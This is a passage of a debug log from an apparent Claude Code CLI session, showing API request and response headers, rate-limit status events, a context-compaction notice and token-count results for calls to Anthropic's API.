\"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.754Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:53:55.757Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:53:55.759Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:53:55.762Z] [STDOUT]     \"cf-ray\": \"a4296a8c4a3001ff-CDG\",\n[2026-09-29T07:53:55.764Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:53:55.767Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:53:55.772Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:53:55.775Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:53:55.780Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:53:55 GMT\",\n[2026-09-29T07:53:55.782Z] [STDOUT]     \"request-id\": \"req_011CfXNPsD25q3DgrsiPyQUt\",\n[2026-09-29T07:53:55.787Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:53:55.792Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:53:55.797Z] [STDOUT]     traceresponse: \"00-5185514375ffc7acc9c3d72df639330b-30541b9c42d99ea6-01\",\n[2026-09-29T07:53:55.802Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:53:55.805Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:53:55.815Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:53:55.831Z] [STDOUT]   },\n[2026-09-29T07:53:55.837Z] [STDOUT]   durationMs: 7508,\n[2026-09-29T07:53:55.840Z] [STDOUT] }\n[2026-09-29T07:53:55.846Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:53:55.848Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:53:55 GMT\",\n[2026-09-29T07:53:55.851Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:53:55.854Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:53:55.857Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:53:55.861Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:53:55.863Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:53:55.866Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:53:55.871Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:53:55.874Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:53:55.877Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:53:55.879Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:53:55.883Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:53:55.886Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:53:55.889Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.4\",\n[2026-09-29T07:53:55.895Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:53:55.898Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:53:55.902Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:53:55.908Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:53:55.912Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:53:55.918Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:53:55.925Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.928Z] [STDOUT]   \"request-id\": \"req_011CfXNPsD25q3DgrsiPyQUt\",\n[2026-09-29T07:53:55.933Z] [STDOUT]   \"traceresponse\": \"00-5185514375ffc7acc9c3d72df639330b-30541b9c42d99ea6-01\",\n[2026-09-29T07:53:55.937Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:53:55.941Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:53:55.945Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:53:55.948Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:53:55.951Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:53:55.953Z] [STDOUT]   \"cf-ray\": \"a4296a8c4a3001ff-CDG\",\n[2026-09-29T07:53:55.956Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:53:55.962Z] [STDOUT] [log_5ad153] response parsed {\n[2026-09-29T07:53:55.966Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:53:55.970Z] [STDOUT]   status: 200,\n[2026-09-29T07:53:55.973Z] [STDOUT]   body: X {\n[2026-09-29T07:53:55.977Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:53:55.981Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:53:55.986Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:53:55.988Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:53:55.990Z] [STDOUT]     },\n[2026-09-29T07:53:55.994Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:53:55.998Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:53:56.001Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:53:56.006Z] [STDOUT]   },\n[2026-09-29T07:53:56.010Z] [STDOUT]   durationMs: 7509,\n[2026-09-29T07:53:56.014Z] [STDOUT] }\n[2026-09-29T07:54:18.133Z] [INFO] {\n[2026-09-29T07:54:18.133Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"status\": \"compacting\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"uuid\": \"1fc1a27f-bd69-4d4e-9677-a93e85d85daa\"\n[2026-09-29T07:54:18.133Z] [INFO] }\n[2026-09-29T07:54:36.903Z] [INFO] {\n[2026-09-29T07:54:36.903Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:54:36.903Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:54:36.903Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:54:36.903Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:54:36.903Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:54:36.903Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:54:36.903Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:54:36.903Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:54:36.903Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:54:36.903Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:54:36.903Z] [INFO]         \"utilization\": 0.4,\n[2026-09-29T07:54:36.903Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:54:36.903Z] [INFO]       },\n[2026-09-29T07:54:36.903Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:54:36.903Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:54:36.903Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:54:36.903Z] [INFO]       }\n[2026-09-29T07:54:36.903Z] [INFO]     }\n[2026-09-29T07:54:36.903Z] [INFO]   },\n[2026-09-29T07:54:36.903Z] [INFO]   \"uuid\": \"9eda8ef8-e2b8-4c71-9797-a48eb6417906\",\n[2026-09-29T07:54:36.903Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:54:36.903Z] [INFO] }\n[2026-09-29T07:54:37.110Z] [STDOUT] [log_833ac7] sending request {\n[2026-09-29T07:54:37.145Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.174Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.307Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.314Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.316Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.325Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.345Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.348Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.350Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.354Z] [STDOUT]     },\n[2026-09-29T07:54:37.356Z] [STDOUT]   },\n[2026-09-29T07:54:37.358Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.363Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.368Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.372Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.377Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.382Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.388Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.395Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.399Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.401Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.403Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.406Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.408Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.409Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.411Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.413Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.415Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.422Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.429Z] [STDOUT]   },\n[2026-09-29T07:54:37.436Z] [STDOUT] }\n[2026-09-29T07:54:37.447Z] [STDOUT] [log_a80988] sending request {\n[2026-09-29T07:54:37.452Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.460Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.463Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.466Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.468Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.470Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.473Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.475Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.478Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.480Z] [STDOUT]     },\n[2026-09-29T07:54:37.483Z] [STDOUT]   },\n[2026-09-29T07:54:37.485Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.487Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.489Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.492Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.494Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.496Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.498Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.499Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.501Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.504Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.506Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.508Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.510Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.513Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.518Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.522Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.525Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.527Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.531Z] [STDOUT]   },\n[2026-09-29T07:54:37.533Z] [STDOUT] }\n[2026-09-29T07:54:37.535Z] [STDOUT] [log_749fd7] sending request {\n[2026-09-29T07:54:37.538Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.540Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.543Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.545Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.547Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.549Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.552Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.554Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.556Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.558Z] [STDOUT]     },\n[2026-09-29T07:54:37.560Z] [STDOUT]   },\n[2026-09-29T07:54:37.562Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.565Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.568Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.573Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.578Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.585Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.589Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.592Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.600Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.601Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.605Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.607Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.609Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.614Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.617Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.619Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.621Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.624Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.627Z] [STDOUT]   },\n[2026-09-29T07:54:37.630Z] [STDOUT] }\n[2026-09-29T07:54:37.633Z] [STDOUT] [log_14fa9f] sending request {\n[2026-09-29T07:54:37.638Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.642Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.664Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.685Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.691Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.692Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.696Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.703Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.705Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.707Z] [STDOUT]     },\n[2026-09-29T07:54:37.708Z] [STDOUT]   },\n[2026-09-29T07:54:37.711Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.713Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.715Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.717Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.719Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.722Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.724Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.726Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.728Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.729Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.731Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.733Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.735Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.736Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.738Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.739Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.740Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.742Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.744Z] [STDOUT]   },\n[2026-09-29T07:54:37.745Z] [STDOUT] }\n[2026-09-29T07:54:37.747Z] [STDOUT] [log_e1c021] sending request {\n[2026-09-29T07:54:37.749Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.750Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.752Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.753Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.755Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.757Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.760Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.762Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.764Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.766Z] [STDOUT]     },\n[2026-09-29T07:54:37.768Z] [STDOUT]   },\n[2026-09-29T07:54:37.770Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.772Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.774Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.777Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.779Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.780Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.782Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.784Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.786Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.789Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.790Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.794Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.798Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.800Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.822Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.827Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.830Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.837Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.847Z] [STDOUT]   },\n[2026-09-29T07:54:37.853Z] [STDOUT] }\n[2026-09-29T07:54:37.857Z] [STDOUT] [log_749fd7, request-id: \"req_011CfXNTUbqPjLpsJbWVSEZV\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 301ms\n[2026-09-29T07:54:37.863Z] [STDOUT] [log_749fd7] response start {\n[2026-09-29T07:54:37.869Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.872Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:37.877Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.883Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:37.885Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:37.890Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:37.895Z] [STDOUT]     \"cf-ray\": \"a4296bbe7fc95d90-FRA\",\n[2026-09-29T07:54:37.899Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:37.905Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:37.910Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:37.922Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.941Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:37.946Z] [STDOUT]     \"request-id\": \"req_011CfXNTUbqPjLpsJbWVSEZV\",\n[2026-09-29T07:54:37.949Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:37.957Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=84\",\n[2026-09-29T07:54:37.959Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:37.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:37.964Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:37.969Z] [STDOUT]   },\n[2026-09-29T07:54:37.971Z] [STDOUT]   durationMs: 301,\n[2026-09-29T07:54:37.973Z] [STDOUT] }\n[2026-09-29T07:54:37.975Z] [STDOUT] [log_749fd7] response parsed {\n[2026-09-29T07:54:37.979Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.985Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:37.987Z] [STDOUT]   body: {\n[2026-09-29T07:54:37.989Z] [STDOUT]     input_tokens: 6854,\n[2026-09-29T07:54:37.993Z] [STDOUT]     _request_id: \"req_011CfXNTUbqPjLpsJbWVSEZV\",\n[2026-09-29T07:54:38.001Z] [STDOUT]   },\n[2026-09-29T07:54:38.030Z] [STDOUT]   durationMs: 302,\n[2026-09-29T07:54:38.042Z] [STDOUT] }\n[2026-09-29T07:54:38.065Z] [STDOUT] [log_833ac7, request-id: \"req_011CfXNTULTZacFaZycWxBPH\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 319ms\n[2026-09-29T07:54:38.084Z] [STDOUT] [log_833ac7] response start {\n[2026-09-29T07:54:38.088Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.099Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.107Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.119Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.148Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.151Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.171Z] [STDOUT]     \"cf-ray\": \"a4296bbdf84b01ff-CDG\",\n[2026-09-29T07:54:38.178Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.183Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.190Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.194Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.198Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.209Z] [STDOUT]     \"request-id\": \"req_011CfXNTULTZacFaZycWxBPH\",\n[2026-09-29T07:54:38.213Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.218Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=197\",\n[2026-09-29T07:54:38.222Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.225Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.228Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.237Z] [STDOUT]   },\n[2026-09-29T07:54:38.241Z] [STDOUT]   durationMs: 319,\n[2026-09-29T07:54:38.250Z] [STDOUT] }\n[2026-09-29T07:54:38.259Z] [STDOUT] [log_833ac7] response parsed {\n[2026-09-29T07:54:38.266Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.268Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.270Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.273Z] [STDOUT]     input_tokens: 11855,\n[2026-09-29T07:54:38.277Z] [STDOUT]     _request_id: \"req_011CfXNTULTZacFaZycWxBPH\",\n[2026-09-29T07:54:38.281Z] [STDOUT]   },\n[2026-09-29T07:54:38.283Z] [STDOUT]   durationMs: 320,\n[2026-09-29T07:54:38.289Z] [STDOUT] }\n[2026-09-29T07:54:38.292Z] [STDOUT] [log_a80988, request-id: \"req_011CfXNTV1tUHYrJUma5TtqU\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 396ms\n[2026-09-29T07:54:38.295Z] [STDOUT] [log_a80988] response start {\n[2026-09-29T07:54:38.300Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.303Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.307Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.313Z] [STDOUT]     